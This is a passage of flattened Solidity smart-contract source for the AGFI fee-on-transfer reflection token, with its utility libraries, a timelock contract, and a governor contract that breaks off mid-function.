) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/SafeMath.sol // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol pragma solidity 0.8.13; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity 0.8.13; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: contracts/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.13; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/IERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.13; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/AggregatedFinance.sol pragma solidity ^0.8.13; // Aggregated Finance: $AGFI // Deflationary DeFi-as-a-Service (DaaS) Token, with 60% supply burned to 0x0dEaD // You buy on Ethereum, we execute algorithmic stablecoin strategies on various chains and return the profits to $AGFI holders. //Initial Supply: 1,000,000,000,000 $AGFI //60% of $AGFI burned to 0x0dEaD //10% of each buy goes to existing holders. //10% of each sell goes into various-chain algorithmic stablecoin investing to add to the treasury and buy back $AGFI tokens. // Twitter: https://twitter.com/AGFI_Official // Website: https://aggregated.finance/ // Telegram: https://t.me/aggregatedfinance contract AggregatedFinance is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'AggregatedFinance'; string private _symbol = 'AGFI'; uint8 private _decimals = 9; uint256 private _taxFee = 10; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousTeamFee = _teamFee; address payable public _AGFIWalletAddress; address payable public _marketingWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 100000000000000e9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable AGFIWalletAddress, address payable marketingWalletAddress) { _AGFIWalletAddress = AGFIWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousTeamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousTeamFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular team event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToTeam(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and team fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToTeam(uint256 amount) private { _AGFIWalletAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToTeam(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25'); _taxFee = taxFee; } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } function _setAGFIWallet(address payable AGFIWalletAddress) external onlyOwner() { _AGFIWalletAddress = AGFIWalletAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9'); _maxTxAmount = maxTxAmount; } } // File: contracts/Timelock.sol pragma solidity ^0.8.13; contract Timelock { event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp() + delay, "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta + GRACE_PERIOD, "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value: value}(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } } // File: contracts/AGFIGovenor.sol pragma solidity ^0.8.13; // File: @openzeppelin/contracts/utils/Address.sol // File: contracts/agfi.sol contract AGFIGovernor { /// @notice The name of this contract string public constant name = "AGFI Governor"; uint quorumValue = 200000000000e9; // 200,000,000,000 = 50% of the post-launch burned supply /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes() public view returns (uint) { return quorumValue; } // 200,000,000 = 4% of AGFI /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks) /// @notice The duration of time the proposal must be held in timelock before execution function timelockDelay() public pure returns (uint) { return 5760; } // ~1 day in blocks (assuming 15s blocks) /// @notice The address of the Aggregated Finance Governor Timelock Timelock public timelock; /// @notice The address of the Aggregated Finance token IERC20 public agfi; /// @notice The address of the Governor Guardian address public guardian; /// @notice Whitelist of confirmed proposers mapping (address => bool) public _whitelist; /// @notice The total number of proposals uint public proposalCount; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint256 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); /// @notice An event emitted when the quorum limit is modified event QuorumModified(uint oldValue, uint newValue); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); constructor(address timelock_, address agfi_) { timelock = Timelock(timelock_); // timelock address agfi = IERC20(address(agfi_)); // accessing AGFI token here guardian = msg.sender; // deployer of the contract is the guardian } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(_whitelistContains(msg.sender), "AGFIGovernor::propose: proposer not on whitelist"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "AGFIGovernor::propose: proposal function information arity mismatch"); require(targets.length != 0, "AGFIGovernor::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "AGFIGovernor::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "AGFIGovernor::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "AGFIGovernor::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod()); Proposal storage newProposal = proposals[proposalCount++]; newProposal.id = proposalCount; newProposal.proposer = msg.sender; newProposal.eta = 0; newProposal.targets = targets; newProposal.values = values; newProposal.signatures = signatures; newProposal.calldatas = calldatas; newProposal.startBlock = startBlock; newProposal.endBlock = endBlock; newProposal.forVotes = 0; newProposal.againstVotes = 0; newProposal.canceled = false; newProposal.executed = false; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return 